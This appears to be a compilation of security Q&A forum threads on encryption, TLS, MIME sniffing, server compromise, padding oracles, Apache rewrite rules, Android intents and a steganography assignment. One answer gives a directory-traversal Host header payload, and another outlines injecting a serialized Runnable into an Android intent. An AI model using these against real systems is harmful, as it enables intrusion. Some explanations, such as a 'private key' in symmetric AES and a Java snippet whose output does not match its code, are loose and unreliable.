It is not clear from what kind of attacker your are trying to protect. But to make some guesses what could it be:

If the attacker gets inside your VM all files are there in plain because they are transparently decrypted when read.
If the attacker is root on the VM host instead he could capture the credentials you need to enter on start of the VM if the encryption key for the disk is password protected. If the encryption key is not protected and resides on the system where the VM is running it will be even simpler for root on the system to get it. Once the attacker has access to the credentials he could decrypt the disk.
If the attacker is not root on the VM host then he should not be able to read your VM image in the first place, i.e. proper file permissions should be sufficient protection.

In other words: I don't think you gain much with your proposed method.


Is it okay for (iOS) browsers to interpret application/octet-stream as HTML+JS? This is regarding the application/octet-stream test here:
https://ios.browsr-tests.com/alt/downloads.php

The desktop versions of Chrome, Firefox, and Safari will download the file. Same for Chrome and Firefox on Android. But on iOS, all three browsers execute/interpret the file as if it were HTML, including the Javascript it contains.

My question: Is that okay?

I know that downloads ought to use Content-Disposition: attachment, and this SO answer talks about not relying on Content-Type. But... this still seems wrong.

There were CVEs for treating text/plain as HTML (CVE-2010-1420, CVE-2013-5151). How is that really wrong but application/octet-stream is okay?

My question: Is that okay?

Ignoring the given Content-Type and instead guessing what it might be is a bad idea. This can for example result in bypassing external filters (like firewalls or proxies) which rely on the Content-Type for the type of analysis they do. And it would not be the first time if some parts of the browser use the original Content-Type for their decisions while other parts use the guessed Content-Type, which might result in bypassing browser internal restrictions and filters (like XSS protection filter or similar).

Apart from that such unexpected behaver differently from other browsers (and from the standard) is a nightmare for developers and can also cause security problems. Just imagine that the site offers a ways to upload various files which then get offered for download as application/octet-stream, in the hope that this will result in a download. Instead the iOS browser might interpret the file as HTML+JS which essentially results in a stored XSS.

It is recommended to forcible disable such guesses by setting X-Content-Type-Options=nosniff" in the HTTP header.


SSL can stop MiTMs ... but on the long run, can it really? SSL uses CAs which sign certificates for the domains after they validate that the person requesting is truly the owner and by a public/private key pair a encrypted connection is achieved which cant be decrypted by a MITM.

Now thinking on the long run, if someone has control over your network all the time, after some time the CA will have signed a couple of thousands more certificates which will need to be synced and downloaded to the browser using them. What is actually stopping a MiTM from intercepting that?

After some time the CA will have signed a couple of thousands more
  certificates which will need to be synced and downloaded to the
  browser/app using them. What is actually stopping a MiTM from
  intercepting that?

The fact that the website's certificate is signed is what prevents a MITM.

I will prove my point with a simple example. I don't know if that's exactly how modern SSL/TLS works. But the basic idea remains the same.

Step 1, Bob's browser

Bob has a CA's public key. The CA public key is well known and never changing, therefore it's built into Bob's browser/OS.

Step 2, Alice sets up SSL/TLS

Alice wants to make her website protected. Alice creates a private/public key pair and sends the public key to the CA.
The CA bundles Alice's public key, domain name, and some other information together in a single package. Then the CA encrypts that package with the CA's own private key and sends it back to Alice.

Now Alice has a signed certificate which contains her public key, domain name, and some other info. The certificate is encrypted(signed) with the CA's private key. It can be decrypted with the well known CA public key.

This step only needs to be done once.

Step 3, Bob connects to Alice

Bob conntects to Alice's website. Alice sends Bob her signed certificate. Bob gets the signed certificate and decrypts it using the CA's public key which he already knows. Now, bob checks if the domain name inside the certificate matches the one he is connecting to. Once done, Bob is confident he has Alice's public key and no MITM can occur.

(Assuming the CA isn't evil)

Step 4, Scar tries to intercept

Bob connects to Alice's website again. Alice sends Bob her signed certificate.
This time Scar who is in control of Bob's network is listening to the communication stream. Although he can intercept and decrypt Alice's certificate using the well known CA public key, He cannot modify the certificate and re-encrypt it because Scar doesn't have the CA's private key. The best he can do is corrupt the certificate, but that would alert Bob and the connection would drop.


What parts of IPv6 address may I show publicly and safely? I want to ask question about some network issue, i.e. about printing the IPv6 address correctly. I assume the users expect me to provide some meaningful examples of what I expect and what I have.

Since I'm not familiar with a IPv6 protocol, I don't know which parts of the address are essential and which I may safely hide.

The main goal is to stay anonymous, so the people won't know where I live, where I work, which networks do I have access to.

Any advice?

First of all, it is important to keep enough bits from the start of the address that it will still be clear which class of address it is. How many bits are needed in order to know that does however depend on which class of address it is.

Here are a few examples:

2001:0:xxxx:xxxx:: a Teredo address - 32 bits (two groups of digits) is enough to know it is a Teredo address.
2002:xxxx:xxxx:: a 6to4 address - 16 bits (one group of digits) is enough to know it is a 6to4 address.
2a01:xxxx:xxxx:: a globally routable address 3 bits is enough to know it is globally routable, but publishing the full first group is usually better in order to avoid confusion. If you showed two groups (32 bits), it would be enough to know country and provider, with only 16 bits available it would still be clear which continent the address belongs in.
fdxx:xxxx:xxxx:: a ULA address. 8 bits is enough to know that it is a ULA address. There is nothing in the address directly pointing to you, so publishing the full address is not enough on its own to identify you. However the next 48 bits are supposed to be globally unique, so correlation with ULA addresses published through other channels could be possible. So you might want to censor the following 40 bits.
fe80:: a link-local address. 10 bits is enough to know that it is a link-local address, but the next 54 bits are generally 0, so the first 64 bits are well known in this case.

That covers the common cases for the first 48 bits. The next 16 bits of the address are usually indicating which segment on your LAN is referred to. Since it is important to know whether two addresses are on the same segment or not, those 16 bits should not be censored, as they very often contain information of importance to your question.

The last 64 bits may contain your MAC address, as in this example: fe80::220:40ff:fe30:20d7. Here the ff:fe in the middle of the last 64 bits will indicate that it is generated from a MAC address. 0220:40 will indicate the vendor of the hardware, and 30:20d7 will identify the specific device within the series.

Don't censor all of the MAC address, as it is relevant to know whether two addresses are based on the same MAC address. I would consider fe80::220:40ff:fexx:xxd7 to be a reasonable compromise. It will indicate the vendor, but not uniquely identify the device, and should you have a few successive MAC addresses from the same series, they can still be told apart by looking at the last bits.

If 2001:db8:5c1d:c698:220:40ff:fe30:20d7 was a full address, which I wanted to censor, I would write it as 2001:xxx:xxxx:c698:220:40ff:fexx:xxd7. All you can really tell from this address is that it is a globally routable address, and it was generated using the MAC address of some Motorola hardware.

Never write an address belonging to someone else when censoring an address. If you need to write out a full address and cannot write any x somewhere in there to indicate that it is censored, there are a few options. For a ULA address you are allowed to replace the 40 bits after the initial fd with a random value. If I used fd59:f1b8:8740:: locally it would be acceptable for me to just write fd8f:ed38:64da:: if I wanted to censor it. For a globally routable address anything starting with 2001:db8: is fair game for examples, like in my example above.


How to obfuscate outgoing traffic if we don't want to use VPN? If we say that I cannot trust my internet-service-provider regarding privacy, how can I obfuscate the outgoing traffic on my line?

So the ISP will not see that what am I actually doing.

Randomly generate false traffic? Use ToR?

As long as you use secure connections (SSL) they will "not" be able to see the data you are transmitting.

However if your concern is about they knowing where are you connecting to, then your best bet would be to use Tor, as you are discarding the use of a VPN service. Notice that even using Tor, your connection goes through your ISP (the first hop), however, they are not able to see what's your real destination, only the first Tor node you're going to use.


Risk analysis Information Security Checklist I wouldn't bother asking this question if it was easy to find.
In the past I've used a risk-analysis-checklist which was split up in serveral factors.

For example, there are Human factors, Hardware is one, Organization is one of them and Environment too.

I've lost this list and I wonder if anyone here could share this checklist with me. I've found a partial list in Dutch which helped me out for the factors except Organization and Environment.

If you have a question about my question(?), please add a comment and I will try to make it more clear.

Sounds like what you're looking for is ISO/IEC 27002 - Information technology – Security techniques – Code of practice for information security management

  Outline for ISO27002:2005

  Framework
  Acceptable Use of Information Technology Resources
  Information Security Definition & Terms
  Risk assessment
  Security policy – management direction
  Organization of information security – governance of information security
  Asset management – inventory and classification of information assets
  Human resources security – security aspects for employees joining, moving and leaving an organization
  Physical and environmental security – protection of the computer facilities
  Communications and operations management – management of technical security controls in systems and networks
  Access control – restriction of access rights to networks, systems, applications, functions and data
  Information systems acquisition, development and maintenance – building security into applications
  Information security incident management – anticipating and responding appropriately to information security breaches
  Business continuity management – protecting, maintaining and recovering business-critical processes and systems
  Compliance – ensuring conformance with information security policies, standards, laws and regulations


How is Truecrypt any safer than just password-protection? I'm not into security and encryption at all, I'm just a Truecrypt user. So maybe it's a very noob-question, but I can't figure it out.

When I make a Truecrypt container, it will encrypt everything inside it. When I want to open the container, I open up Truecrypt, mount the file and type in my password.

Suppose my computer is stolen and the thief finds the container and is savy enough to recognize it as a Truectypt-container. All the encryption will do me no good, right? Because the only thing the thief has to do is crack my password, open up Truecrypt and mount the container.

So, although my files are encrypted, there seems to be a single point of failure: the password (which I make very strong ofcourse).

Are there any flaws in my logic?

Yes, the password is what regulates access to your files. So it's the single "point of failure" but its also what keeps you safe.

  Suppose my computer is stolen and the thief finds the container and is savy enough to recognize it as a Truectypt-container. All the encryption will do me no good, right? Because the only thing the thief has to do is crack my password, open up Truecrypt and mount the container.

That case is exactly what encryption is for. If you use a strong password and a decent encryption algorithm, it may take an attacker forever to decrypt your files. Security is never 100% but the measure of security is determined by how hard it is for an attacker to get what he wants. The better your password and your algorithms, the higher your security (given that there are no software flaws and that you keep your password also secure)

Think about it: not only an attacker might be interested in decrypting your files but also you might be interested in keeping access to them. So there must be a way to identify you which usually is

something you know (a password)
something you have (a key card)
something you are (iris scan, fingerprint, voice recognition, etc.)

You can combine those methods to make access to your data more secure, but in general, that what grants you access can also be misused by an attacker. You cannot avoid that but only try to keep your passwords and smartcards for yourself.

Besides, there are more possibilities to attack an encryption scheme, e.g. if you have a backdoor in your encryption software or if you are choosing a weak encryption algorithm. You can only try to avoid that as good as possible by staying informed on these topics. Especially Truecrypt has had quite some problems with these ("WARNING: Using TrueCrypt is not secure as it may contain unfixed security issues." See: http://truecrypt.sourceforge.net/).

What you may be after - since you talk about that the attacker recognizes the file as Truecrypt containers - is to hide the encrypted data. This is more about steganography than cryptography. You can put your data on a hidden partition on your hard disk or split it between more innocent looking files (incorporate it in JPEGs or whatever). But usually, hiding data is not as effective as encrypting it. If you are really paranoid you can, of course, do both.


Weird URL showed when telnet to my server I don't know how to ask this because this is something new for me, I try telnet to my server and the output was like this:

Trying <IP>...
Connected to www.tjto6u0e.site.
Escape character is '^]'.

Then I tried netstat -a | grep www.tjto6u0e.site, found this:

I am using ubuntu and it was compromised before, but I have scanned my server and delete all infected files, including changing my default ssh port (22) to another one, but this one, I don't understand what is this about, is this normal or something that I should worry about?

I checked this IP 43.252.11.213 from netstat -an and redirected to a URL bulan.loket.co.id, I don't have any idea what is happening, is it meant that my site is copied to other domain?

is this normal [that the my server login reports a different domain]

Of course not.

  I am using ubuntu and it was compromised before

Well ... you shouldn't have continued using it.

  but I have scanned my server and delete all infected files

Virus scanners on an already compromised machine are pretty useless. (Even more useless than at other times).

  including changing my default SSH port (22) to another one

Does this matter?
Does this matter if you're using telnet?

And why you are using telnet!?

  I checked this IP 43.252.11.213 ... and redirected ...

You also should never have called this in a browser.

  is it meant that my site is copied to other domain?

No. Well, maybe, but that's not the problem. Until proven otherwise, assume that someone else has full control over your server (including all content, but also all other things the computer can do).

What you should do now:

Try to find out how your server got compromised and fix that (the probability is low that you find the reason). Also change all passwords, get used to regular software updates, SSH keys, fail2ban and so on.
Wipe your server clean and start again by installing an OS, all necessary software, and all configs you need/want.


Best way to check if your browser is secure There is a lot of Malware checking software which seems is just a virus.  How can you check for sure that your Windows 8 computer is uninfected with virus and malware?  Is malwarebytes enough, or should I just reformat the hardrive and reinstall the operating system?

I have been a victim of identity fraud. I need to find out the origin of this. Someone has applied for a credit card in my name, and I have just shut down everything.  The bank says I have a virus on my machine, but I think they are trying to deny responsibility.

I believe when you talk about "malware checking software which seems is just a virus" you mean the pop-ups that appear on shady websites and that say "Your PC is infected/slow/malfunctioning, download this software to clean it!". This software is indeed malware (or, at its best, useless crap) and you should never download and run it.

Always rely on legitimate sources for antimalware, e.g.:

F-Secure
Kaspersky
Symantec
Avast

to name a few.

Since there's a high risk your computer is infected, you must stop using it immediately, wipe it out and perform a clean installation from a clean CD/DVD, as said in the comments.


Can TrueCrypt encrypt SSDs without performance problems? I am running windows 7 prof on a SSD (mSATA). My CPU i7-3610QM has AES-NI-support. I want to encrypt my SSD with truecrypt with AES. But I am really unsure if this is a good idea because of (a) the performance and (b) the lifetime of my ssd.

About (a) I think, encryption works with 3 gb/s because of the AES-NI. So this should be fast enough for SSD-encryption, right?

I heard, that using the full space of a SSD is a bad idea. Nevertheless, I did this. The full 120 GB are formatted currently as my system filesystem. Do I "destroy" my SSD with a full system encryption (so pre-booth-authenticatio is required)?

What does happen with the first 100 MB marked in Disk Management with "System Reserved"?

Hard disk encryption is not supposed to alter SSD life time: "encrypted" bits are not harder to read or write than "normal" bits, and (properly done) encryption does not enlarge data. Indeed, the SSD device has no idea whether what it is asked to read or write is encrypted or not. One megabyte is one megabyte.

(Edit: about "encrypting empty space": this implies only one write pass of the whole disk area; this needs not be done regularly, only once. Flash memory can be rewritten about 10000 times before failing, so this extra encryption should not shorten the SSD lifetime by more than 0.01% -- not enough to be detectable.)

The current state of TrueCrypt being what it is (the "official" software has all but disappeared), it is hard to get definitive answers, and even recommending TrueCrypt can now be a matter of delicacy. Thus, claiming that TrueCrypt will or will not use AES opcodes can be too bold a statement. This article says that, back in 2011, TrueCrypt 7.0a supported AES-NI, and could follow the speed of a SSD (at least the SSD they used for the benchmark).

Performance, in general, is a matter of measurement and should be benchmarked rather than discussed; especially for something as fuzzy as "general computer performance" from the point of view of a human user: the user's feelings are as important as raw figures. The main perceived boost from a SSD comes from the much reduced latency more than from the raw throughput for single-file I/O. We can still speculate that AES-NI allow for more than 1 Gbyte/s raw encryption speed on a 2 GHz CPU; thus, half a core worth of CPU ought to be enough to follow the throughput of a decent SSD (my SSD runs at 500 MB/s and I find it decent enough).

Of course, installing a whole-disk encryption system has the potential, in case of some stupid incompatibility with your OS and/or BIOS booting system, to make your machine unbootable. Make backups ! And prepare a "recovery disk".


IP Address when access website on Remote Computer Can you please advise me on this,
All the web sites visited on remote computer, can that be traced?

I have a office computer say COMP1 and Home Computer COMP2.
If i access any websites on COMP2 (remote), can that be traced on COMP1(office).

On my TeamViewer Under Computers&Contacts I have added COMP1 and COMP2.
Accessing COMP2 from COMP1, but there is monitor on COMP1.
So sites visited on COMP2 can be traced on COMP1(office)?

Please help. Thank you.

Unless COMP2 and COMP1 are on the same network or are managed by the same domain. then it is unlikely that they can trace what you browse on COMP2 whilst your at work using COMP1.

HOWEVER, if you are using a internet browser such as Google chrome which takes your browsing history with you from device to device. (home computer, work computer, mobile). that information is then temporarily stored on your work computer and if they decided to look for it they have every right since you have brought that information onto THEIR network.

Alternatively just don't browse anything inappropriate at work?>


How to investigate this anomaly? According to the IT managers, this problem is neither at the server nor at the client but is suspected to be somewhere inbetween e.g. some DNS server that has been infected. Do you recognize this situation: A user browses the web to a homepage and gets spam links at webpages that don't actually send these links, and it appears at network locations rather than spec clients (if the client changes the network then the spam goes away).

What is the name of this breach that inserts spam links to webpages and how can it be traced and resolved? What traffic should be sniffed to locate the source?

This seems to be something in the browser itself (assuming that's the program used to view the webpages in, and not some embedded view).  This can be a number of sources:

spyware
malicious browser plugin (extension, theme, searchbar, ....)
JS loaded from malicious domain (either through proxy or DNS)

For 1 & 2, there's many options available since it appears to be client based.  For 3, say a website (www.safe.com) includes a javascript from a 3rd party (say, google-analytics.com).  A rogue DNS or proxy server/process/... can intercept all there HTTP requests, and inject JavaScript itself.  This JS can be used to alter the DOM as you can see in your example.

A possible solution would be to include the HTTPS equivalents of the scripts.  From a direct client point of view, plugins such as noscript and so on would work well, although they might break some functionality in JS loaded web apps.


What is a secure way to send credentials to the server? I am currently making a file server (Based on HTTP) for my service. I want an upload key, so a key that is needed for uploading. To get this key, the client has to provide his login data.
Let's say my site has the following link where you can get the key:
www.example.com/content/upload/genkey
Currently, the client must specify his credentials in the query of the get request. So in my example:
www.example.com/content/upload/genkey?name=example&password=12345
As you may already see, this is not really secure. It is recorded in the server's log data and can be easily seen by others.
Now my question is:
How could the client now send the authentication data to the server in a secure way?

Check what log is it. If this is a log before the TLS termination point, then the server does not see the URL and paramaters, because they are encrypted. If the log is behind the TLS termination point, then the server can of course see the whole request.

Use HTTP POST instead of HTTP GET. Put user name and password to the request, don't use them as request parameters. The bodies are usually not written to the log. Check the settings of your web server.

Use Basic Authentication instead of sending user name and password as a request. Then  the browser will send user name and password as a separate data package upon server request. Such data are normally not written to the log. Again, check the settings.


Are AES-CBC encrypted files subject to padding oracle attacks? Almost all info related to padding oracle attacks on AES are
described in the context of client/server scenarios but does it apply
to local encrypted files as well?

For example, a file P is encrypted using AES-256 and CBC padding.
The random IV and C are then written to a new file.

If the attacker got hold of that file, could he then use whatever language
he's using to try and decrypt that file and get exceptions that tell him
whether he's dealing with padding errors or decryption errors?

If so, how could one protect against this? Wouldn't Encrypt-then-Mac be
useless in this case?
Since the attacker can choose to ignore the MAC or am I completely missing something here?

Padding oracle attack are effective when the remote side (the server side) uses its private key to decipher and rise an exception when the padding is not correct.

In a local context, you do not know the private key. So you can try many keys and see if the padding is good or not, but this information is useless.

For example, you have the cipher XXXXXXXXXXXXXXXX and you try the key1 which give you the clear helloworld030303, interesting but the key2 give you hellobitches0202 which is correct too.
How can you choose which clear is the correct one? You cannot, every correct string with correct padding could be the good candidate.

The "oracle" in "padding oracle attack" is the fact that you get answer from a source who uses the correct secret key (which is a unknown information for you) to perform operations (decipher) and give you information about the result.
You can use this result to get indirect information about the secret key or the secret clear message


Security issue with .htaccess with dynamic http_host redirect? I would like to know if it would be an issue to use this code in a production environment:

RewriteCond %{HTTP_HOST} ^(?:www\.)?([a-zA-Z0-9_-]+)\.(?:com|co\.uk|es|de)$
RewriteCond $1 ^sitemap([0-9]+)?\.xml(\.gz)?$
RewriteRule ^(.*)$ /files/%{HTTP_HOST}/$1 [L,QSA]

Basically, I have hundreds of domains pointing to the same home directory on a server. I would like to move all the sitemaps for each site to a different folder (so example1.com can not access example2.com's sitemap!)

First of all, I can not hard-code all the domains in a "white-list" as we are talking about hundreds of them and adding more weekly.

The plan is to basically redirect any requests for sitemap.xml/sitemap2.xml/sitemap.xml.gz to the domains' folder.

So for instance:

example1.com will have it's real sitemap.xml file in /files/example1.com/sitemap.xml
example2.com will have it's real sitemap.xml file in /files/example2.com/sitemap.xml

My question, is if it is a possible issue to use HTTP_HOST in a RewriteRule, as I know that it can indeed be an issue if you do not filter it in PHP for example, if you do a redirect using HTTP_HOST as the user can manipulate it.

Thank you!

From what I can see so far it looks like you've covered your bases fairly well.  However, it never hurts to run through what is protecting you, so you can make sure and not accidentally break it.

As you mention, the HOST header can be set by the user, so it should be treated as unsafe data.
The host is used to determine the final file to load (RewriteRule ^(.*)$ /files/%{HTTP_HOST}/$1 [L,QSA]).  This carries a risk of directory traversal.
In particular, the issue would be with hosts like ../../secret/key.secret. Now, it's quite possible that Apache would automatically reject something like that.  I'm not 100% sure because I haven't used Apache and .htaccess in quite a while, but regardless I wouldn't rely on Apache as my sole security measure.
However, you're not.  Right now the regular expression that must match the host to trigger this rewrite rule is very restrictive, and a directory-traversal host wouldn't match anyway (which is good!).
However, that could change in the future.  In particular, your current setup is safe because you haven't left any room for subdomains.  I.e. your rewrite rule will match www.example.com but it won't match api.site.example.com.
Future needs may change, and you may quickly discover that you have to update your rule to support subdomains.  When that happens you'll want to be careful to make sure you don't also add support for directory traversal hosts.
For instance, one wrong way to do it would be to update the middle of your regular expression to be: ^(.*)\.(?:com|co\.uk|es|de)$  That might be silly, but it is also a quick and easy way to support subdomain matching in your host, and a developer who just wants it done quickly might opt for something like this.  It also happens to match directory traversal payloads in the HOST header.

So you are safe for now, but it is also important to keep in mind that this is something that might have to legitimately change in the future, and someone may accidentally introduce trouble when it changes.  I'd handle that with a few steps:

Confirm that Apache wouldn't allow a directory traversal attack anyway
Leave a comment about the importance of avoiding directory traversal attacks here
Put in an integration test that tries a directory traversal and confirms that it doesn't work.  Unfortunately, since this is implemented in apache, you can't do that... so I guess it's just 1 & 2!


Does a malware in an android phone have permission to read/modify/delete data of all the apps? If an android phone is infected with malware/virus, can it access all the apps with modify/delete/read permission? Isn't there any control by an app , say a bank app which can't allow to read data by any other program?
If there is a different answer for an iphone, please share it too.

Most android malware will steal information or spam your phone with aggressive ads. But they do not necessarily modify any installed apps on the phone. If a phone is rooted, the malware can, however, uninstall apps and replace them with malicious app copies. The following link gives an overview of many of the known android malware capabilities.

http://forensics.spreitzenbarth.de/android-malware/


Moving /tmp to an encrypted tmpfs BLUF: I'm using an SSD on my system, so my primary reason to use tmpfs to increase the life of my drive by moving high read/write files to volatile memory. But from a security point of view, I'd also like to know if it would make any sense to encrypt volatile memory for security purposes.

Current System Specs:

OS:                 Custom Arch Linux Build

RAM:                6GB
My build rarely goes over 1GB of RAM usage.

Primary Drive:      128GB SSD
    Holds the OS, setup with LUKS on LVM for full disk (-boot) encryption.

Secondary Drive:    1TB HDD (much slower)
    For long term storage and backup (fully encrypted).

Concern:

As it stands once my system shuts down, a user requires the key to be able to access my system hard drive. However, from an anti-forensics point of view the RAM would be viable target for recovery for at least a few minutes after shutdown (possibly longer with some air-duster hacking).

My question is: To prevent a cold-boot recovery in this very unlikely case, would encrypting the contents of a tmpfs with something like dm-crypt be a viable option?

Basically I'm asking for a check on logic. What possible holes am I missing?

If you consider that attackers may recover the RAM contents (a cold boot attack) then you have to take into account that attackers may recover the RAM contents. Your /tmp filesystem is used by application as a temporary repository for some data elements, but the same applications read it back -- into RAM. That is, the RAM-based filesystem is unlikely to contain the only copy in RAM for the sensitive data. Whatever you do with /tmp, be it encryption or anything else, will only be a partial solution.

Another point is that an encrypted filesystem is still a storage for files, that the live system can read and write. Thus, even if encrypted, the decryption key (in the live machine) must be somewhere in it... i.e. in the RAM. If attackers can read RAM, then they can recover that key, and remove all your encryption.

What you could do to lower the probability of data recovery by attackers is to make sure you empty the RAM as part of the shutdown procedure. This would entail, from the last process running in the machine:

Unmounting /tmp.
Deactivating swap space (by the way, do you encrypt your swap partition ? Alternatively, you could simply deactivate swap; I do that on my laptop).
Filling the RAM with random bytes (or zeros), allocating pages and filling them until allocation fails. At that point, you know that the kernel found all available RAM and filled it with randomness; this would include all pages that were corresponding to the RAM-based /tmp.

From what I explain above, such a procedure would both be necessary anyway (since sensitive data may lurk outside of /tmp), and makes any encryption of /tmp irrelevant.

Remaining issues are that non-application RAM, in the kernel space, might still need some cleansing; and a shutdown procedure has any effect only when a shutdown is applied. If the attacker steals the live machine, then he may pull the plug (or the battery, for a laptop) to get a fresh, live snapshot of the RAM. Encryption would not help you there (because the encryption key would be part of the snapshot).


How to determine source of e-mail and verify if the source is/could be legitimate? I got an e-mail (in my spam folder) from usercenter@idcenter.uc.cn which asks me to click a link to validate my login for their website. Obviously, I deleted this e-mail without clicking it's link. But, I am still wondering if this e-mail was sent by one of the many website where I had registered for some webinar or white paper.

Out of curiosity, I searched google for this e-mail id and for idcenter.uc.cn but found almost  nothing. Luckily MyWot had some info for this and some info about the registrar too. But, I am not even sure if MyWot is correct. Moreover, if there is no source like mywot, then how do I find out the source of such e-mails and verify if the source is legitimate or not ? Its a different matter that the source may be legitimate, but was hijacked.

MyWOT profile for this -

http://www.mywot.com/en/scorecard/idcenter.uc.cn

Registrant (from China) - http://whois.domaintools.com/uc.cn

广州市动景计算机科技有限公司 - Guangzhou move King Computer Technology Co., Ltd.
    Result - awards and honors page of company

Sponsoring registrar (china) -

北京新网数码信息技术有限公司 - Beijing Xin Net Technology Co., Ltd.

Some result - http://spamtrackers.eu/wiki/index.php/Xin_Net

To find the source of an email, you need to look at email headers. In Gmail, click the down arrow next to the reply button, and choose "Show Original". If you use a different email program, check this list, or use Google.

In general, the bottom-most "Received:" line indicates the source of the email. This isn't 100% reliable, but is good enough in most cases.

Here is an example (from http://whatismyipaddress.com/email-header) showing that the email sent to example_to@imaps.bath.dc.uk originated from 205.206.231.19.

  Received: from tom.bath.dc.uk ([138.38.32.21]
  ident=yalrla9a1j69szla2ydr)
          by steve.wrath.dc.uk with esmtp (Exim 3.36 #2)id 19OjC3-00064B-00
          for example_to@imaps.bath.dc.uk; Sat, 07 Jun 2005 20:17:35 +0100

  Received: from write.example.com ([205.206.231.26])
          by tom.wrath.dc.uk with esmtp id 19OjBy-0001lb-3V
          for example_to@bath.ac.uk; Sat, 07 Jun 2005 20:17:30 +0100

  Received: from master.example.com (lists.example.com [205.206.231.19])
          by write.example.com (Postfix) with QMQP
          id F11418F2C1; Sat, 7 Jun 2005 12:34:34 -0600 (MDT)

I strongly hold the view that the most reliable way to verify if an email is legitimate is to contact the (purported) sender via a different method, and ask them. Technical analysis of the headers might indeed show that an email came from company X, but what if the sender had his account hacked? Doing this also alerts the sender of a breach, if it has occurred, doing them a great service.

Finally, good that you didn't click the link - clicking on unknown links in suspicious emails is risky. There are some tools to help you evaluate a link without visiting it - I find URLquery and VirusTotal to be very good. Others may have additional suggestions.


Key usage extension on certificate When I create a CSR and provide the block of encrypted text to a Root CA (e.g. Verisign, Thawte), what or who will determine the Key Usage extension attributes like:

Digital Signature
Non-Repudiation
Key Encipherment

Are these already included in the CSR or is the Root CA setting them respectively?

You can include them in the CSR if you want, but the R stands for request, and no CA will issue you a certificate if your CSR does not comply with its policies. In fact, most CAs ignore everything in your CSR except for the key material.


HSTS Implementation and response type I have implemented the HSTS in my ASP.Net MVC based Website. But if I make a HTTP(not HTTPS) request, the request is propagating using the HTTP channel and the response is 301: Moved Permanently. And from the 2nd request onwards, it is communicating using HTTPS.

Is this the correct behavior of HSTS ? I am bit concerned about, if someone deliberately request for http traffic is it still accepting it (the first request).

There is a concept called TOFU(Trust On First Use) along with HSTS. You need add your URL to the HSTS Preload List to enable your first request with HSTS. It is checking your HSTS attributes such as  max-age and includeSubDomains etc... and adds your site to the list if it compliance.

You can check existing HSTS enabled site list in the chromium project git. You can load one of these correctly implemented HSTS sites and check how those are behaving.

You can check the browser (chrome) related HSTS settings using this url


Who can se what I search for on different search engines? How difficult it is to find out someone's searching patterns on Google for example or sites I'm visiting? There is things like disconnect search engine, Tor browser and VPN etc. that provides the anonymity and privacy and it seems to be a growing concern for active internet users today. Can someone find out my search behaviour through IP adress for example, through my ISP or something similar?

One of the most useful explanations I've found is the EFF's page on Tor and HTTPS.  It's an interactive diagram that shows who has access to what information about you, normally, when using one of Tor or HTTPS, or using both.  It is a bit U.S.-centric; laws in other countries may affect what organizations can legally gather.

One limitation to what that page covers is that it only discusses what an observer can find out about a single HTTP request.  When discussing things like tracking your search results across multiple days, there's more to talk about in terms of deanonymizing traffic.  That is, if I know someone searched for "foo" and I know someone searched for "bar", do I know those were the same person?  IP is the most obvious way you can be tracked, and persistent cookies is another well-known option, but there are also plenty of more sophisticated options like HSTS super cookies and fingerprinting (more here and here).  It's even easier if you log in to sites (Are you logged into a Google account?  A Facebook account?).

There's a lot more to talk about, more than will probably fit in a Stack Exchange answer.  If you have more specific questions, I'd encourage you to ask those separately.

The very short tldr is "yes, companies and governments (yours and others) know what you're doing".


Is sending an object created via intent.getSerializableExtra to handler.postDelayed leading to Code Execution? I'm new to android pentesting and I would like to know :

if sending an object created via the result of intent.getSerializableExtra("EXTRA_TEST");

to handler.postDelayed(TheObject,500) could lead to a vulnerability ?

like

d.a aObject = (d.a) intent.getSerializableExtra("EXTRA_BUY_TAB_START_POSITION_EXPLORE");
if (aVar2 != null) {
    this.handler.postDelayed(new e(aVar2), 500);
}

I imagine that if we send an intent with a serialized runnable the target application would execute the malicious code...
Is it right ?

edit :
"d" is  : public final class d extends Fragment
and d.a is

public static final class a {
        private a() {
        }

        public /* synthetic */ a(DefaultConstructorMarker defaultConstructorMarker) {
            this();
        }

        public final d a() {
            return new d();
        }
    }

I hope this is some automatically decompiled code because it's horrendous to read.

Since the Runnable object is retrieved from a key/value map (the intent object) you could force a custom runnable into the intent map at the specific key "EXTRA_BUY_TAB_START_POSITION_EXPLORE" so that it would be run after 500ms.

In you code you need to clarify :

What is aVar2 ?
What does the class "e" do ?
Your d.a object is never used in your sample

I hope that will lead you to the correct path.


Steganography - retreive secret text by comparing original and text containing picture I have two pictures: st_original.png and st_secret_key_container.png .

The second picture is the same as the first but contains a secret which is the MD5 checksum of some key I'll need to decrypt a small amount of text (the background is black in the second one).

I know this might be unwelcome here but it is a university assignment, I have to retrieve the MD5 from the picture and reverse it so i can decrypt with it the text .

I'm not asking to do the work for me, actually I'm enjoying figuring this out , that's why I didn't upload the pics nor the encrypted text . I tried some things so far like checking for a watermark in the picture with OpenPuff and StegoMagic to no avail. Most of the tools I found searching Google are out of date or no longer maintained since the 90s.

Text is definitely hidden in the picture its no question of "if", its clearly stated in the assignment that its a text hidden via LSB (least significant bit) stenography.

I have spent some time trying to figure out this thing - the problem is the PNG format and the black background. If its only hiding an MD5 (32 chars) then not much should really change. The black background makes it hard because a lot changed.

Any idea how should I tackle this?

Solved it... I tried a tool that enhances LSB, and there I saw the first pixels were clearly different so the 32 chars length had to be written there. All I needed was the values of the LSB of the first 256 bytes, each 8 of these make one character of the MD5.

Here is the code I wrote in Java, along with the output:

BufferedImage img = ImageIO.read(new File("D:\\crypto secret\\2.png"));
        WritableRaster raster = img.getRaster();
        DataBufferByte buffer = (DataBufferByte) raster.getDataBuffer();
        byte[] data = buffer.getData();

        int j = 0 ;
        String[] bin = new String[32];
        char[] md5 = new char[32];

        for(int i = 0 ; i <256;i++){

            System.out.print(data[i]&0xFF);
            if((j+1)%8==0){
                System.out.println();
            }
            j++;
        }

00110100
01100101
01100101
00110111
00111001
01100100
00110111
00110110
00110011
00110011
01100100
00111000
01100001
01100001
01100100
00111000
00110010
00111000
01100001
00110011
00110100
01100100
00110100
01100101
00111000
00110110
00110010
00110001
01100011
01100001
01100100
00110010

I converted these to ASCII via some online tool which gave me this MD5 4ee79d7633d8aad828a34d4e8621cad2 and then a lookup on that gave me this string antonine, which is part of my university's name. Then I went ahead and decrypted the secret text with that as a key, in EDS ECB mode.

The hidden text was:

Hello students. You solved Task 3 challenge.


Is it safe to use HMAC with a public key for the purpose of salting? I would like to store password hashes in a database.

In order to prevent dictionary attacks, I was thinking to use HMAC with a key parameter which is public - like user id. That means the user id would be a salt to the hashed password.

Do you think it is safe and the right algorithm for that?

EDIT:

Originally what I was really curious is this: is it safe to use HMAC for password hashing given we interpret its key as a salt and its message as the password?

